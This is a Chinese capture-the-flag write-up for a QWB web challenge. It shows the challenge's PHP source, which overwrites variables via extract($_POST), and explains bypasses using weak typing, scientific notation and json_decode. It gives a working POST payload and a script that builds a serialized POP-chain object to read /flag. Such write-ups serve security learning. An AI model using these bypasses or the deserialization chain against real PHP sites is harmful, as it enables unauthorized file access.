强网先锋寻宝
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
   | <?php header('Content-type:text/html;charset=utf-8'); error_reporting(0); highlight_file(__file__);
 
  function filter($string){         $filter_word = array('php','flag','index','KeY1lhv','source','key','eval','echo','\$','\(','\.','num','html','\/','\,','\'','0000000');         $filter_phrase= '/'.implode('|',$filter_word).'/';         return preg_replace($filter_phrase,'',$string);     }
 
  if($ppp){     unset($ppp); } $ppp['number1'] = "1"; $ppp['number2'] = "1"; $ppp['nunber3'] = "1"; $ppp['number4'] = '1'; $ppp['number5'] = '1';
  extract($_POST);
  $num1 = filter($ppp['number1']);         $num2 = filter($ppp['number2']);         $num3 = filter($ppp['number3']);         $num4 = filter($ppp['number4']); $num5 = filter($ppp['number5']); var_dump($ppp); echo "<br>"; var_dump($_POST); if(isset($num1) && is_numeric($num1)){     die("非数字"); }
  else{        if($num1 > 1024){     echo "第一层";         if(isset($num2) && strlen($num2) <= 4 && intval($num2 + 1) > 500000){             echo "第二层";             if(isset($num3) && '4bf21cd' === substr(md5($num3),0,7)){                 echo "第三层";                 if(!($num4 < 0)&&($num4 == 0)&&($num4 <= 0)&&(strlen($num4) > 6)&&(strlen($num4) < 8)&&isset($num4) ){                     echo "第四层";                     if(!isset($num5)||(strlen($num5)==0)) die("no");                     $b=json_decode(@$num5);                         if($y = $b === NULL){                                 if($y === true){                                     echo "第五层";                                     include 'KeY1lhv.php';                                     echo $KEY1;                                 }                         }else{                             die("no");                         }                 }else{                     die("no");                 }             }else{                 die("no");             }         }else{             die("no");         }     }else{         die("no111");     } }
  ?>
 
  | 
 
传参方式
有个extract($_POST);它把数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
绕过方式
第一层弱类型,第二层科学计数法,第三层脚本,第四层科学计数法,第五层json_decode().接受一个 JSON 编码的字符串并且把它转换为 PHP 变量
通过恰当的 PHP 类型返回在 json 中编码的数据。值true, false 和 null 会相应地返回 true, false 和 null。 如果 json 无法被解码, 或者编码数据深度超过了递归限制的话,将会返回null 。
payload:ppp[number1]=1234a&ppp[number2]=9e9&ppp[number3]=61823470&ppp[number4]=0e99999&ppp[number5]=1a
第二部分找key就在那个里面写着,拼接一下即可
强⽹先锋寻宝
pop链比较明显
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
   | ?php class Start {  	public $name;  	public function __construct($a){  		$this->name=$a;  	} } class Info {  	public $file;  	public function __construct($b){  		$this->file['filename']=$b;  	} } class Room {  	public $filename="/flag";  	public $a;  	public function __construct(){  		$this->filename="/flag"; 	 }  	public function invoke(){  		$this->a=new Room();  	} } $a=new Room(); $a->invoke(); $b=new Info($a); $c=new Start($b); echo serialize($c); ?>
 
  | 
 
popmaster的脚本明天再写。休整一下。